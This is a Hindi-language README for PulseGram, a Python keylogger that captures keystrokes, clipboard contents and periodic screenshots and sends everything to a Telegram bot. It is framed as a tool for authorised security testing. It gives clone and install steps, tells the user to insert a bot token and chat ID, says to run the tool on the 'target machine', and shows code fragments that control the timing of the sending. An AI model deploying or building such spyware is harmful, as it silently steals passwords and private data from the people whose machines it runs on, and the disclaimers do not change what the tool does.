
Python-आधारित keylogger जिसमें Telegram bot एकीकृत है, जो अधिकृत सुरक्षा परीक्षण वातावरण में कीस्ट्रोक्स, क्लिपबोर्ड सामग्री और स्क्रीनशॉट कैप्चर करता है।
PulseGram एक Telegram बॉट के साथ एकीकृत कीलॉगर है। यह एक निगरानी उपकरण है जो कीस्ट्रोक्स, क्लिपबोर्ड सामग्री और स्क्रीनशॉट कैप्चर करता है, और सभी जानकारी कॉन्फ़िगर किए गए Telegram बॉट को भेजता है। यह प्रतिद्वंद्वी सिमुलेशन और सुरक्षा परीक्षण संदर्भों में उपयोग के लिए डिज़ाइन किया गया है।
⚠️ चेतावनी: यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों और अधिकृत वातावरणों में सुरक्षा परीक्षण के लिए है। इस उपकरण का अनधिकृत उपयोग अवैध हो सकता है और निषिद्ध है।
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
Author: Omar Salazar
Version: V.1.0
errors_log.txt फ़ाइल में त्रुटियों को लॉग करता है ताकि डिबगिंग में सुविधा हो।
रिपॉजिटरी को क्लोन करें:
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
निर्भरताएँ स्थापित करें: सुनिश्चित करें कि आपके पास Python 3 और pip स्थापित हैं। फिर चलाएँ:
pip install -r requirements.txt
Telegram बॉट टोकन सेट अप करें:
BotFather का उपयोग करके Telegram पर एक बॉट बनाएँ।
अपना टोकन कॉपी करें और उसे main.py कोड में वहाँ पेस्ट करें जहाँ बॉट इनिशियलाइज़ होता है।
अपना ChatID chat_id="131933xxxx" keylogger.py में कॉपी करें।
लक्ष्य मशीन पर टूल को इस प्रकार चलाएँ:
python pulsegram.py
यह टूल की मुख्य फ़ाइल है, जो बॉट को इनिशियलाइज़ करती है और डेटा कैप्चर करने तथा भेजने के लिए एसिंक्रोनस कार्य शुरू करती है।
Bot(token="..."): आपके व्यक्तिगत टोकन के साथ Telegram बॉट को इनिशियलाइज़ करता है।
asyncio.gather(...): क्लिपबोर्ड निगरानी, स्क्रीनशॉट कैप्चर और कीस्ट्रोक लॉगिंग को निष्पादित करने के लिए कई कार्य शुरू करता है।
log_error: त्रुटियों के मामले में, errors_log.txt फ़ाइल में लॉग करता है।
इस मॉड्यूल में सहायक फ़ंक्शन हैं जो टूल के समग्र संचालन में सहायता करते हैं।
log_error(): किसी भी त्रुटि को errors_log.txt में दिनांक और समय प्रारूप के साथ लॉग करता है।
get_clipboard_content(): क्लिपबोर्ड की वर्तमान सामग्री को कैप्चर करता है।
capture_screenshot(): एक स्क्रीनशॉट लेता है और अस्थायी रूप से सहेजता है ताकि उसे Telegram बॉट को भेजा जा सके।
यह मॉड्यूल कीलॉगिंग, क्लिपबोर्ड मॉनिटरिंग और स्क्रीनशॉट कैप्चर को संभालता है।
capture_keystrokes(bot): एसिंक्रोनस फ़ंक्शन जो कीस्ट्रोक्स को कैप्चर करता है और जानकारी Telegram बॉट को भेजता है।
send_keystrokes_to_telegram(bot): यह फ़ंक्शन संचित कीस्ट्रोक्स को बॉट को भेजता है।
capture_screenshots(bot): समय-समय पर स्क्रीन की एक छवि कैप्चर करता है और इसे बॉट को भेजता है।
log_clipboard(bot): क्लिपबोर्ड की सामग्री को बॉट को भेजता है।
कैप्चर और सूचना भेजने के समय अंतराल को बदलें।
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # Change the key sending interval
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # Change the screenshot capture interval
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # Change the interval to check for clipboard changes
current_content = get_clipboard_content()
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों और आपके अपने वातावरण में या स्पष्ट प्राधिकरण के साथ सुरक्षा परीक्षण के लिए है। इस उपकरण का अनधिकृत उपयोग स्थानीय कानूनों और गोपनीयता नीतियों का उल्लंघन कर सकता है।
योगदान का स्वागत है। कृपया सहयोग करते समय आचार संहिता का सम्मान करना सुनिश्चित करें।
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है।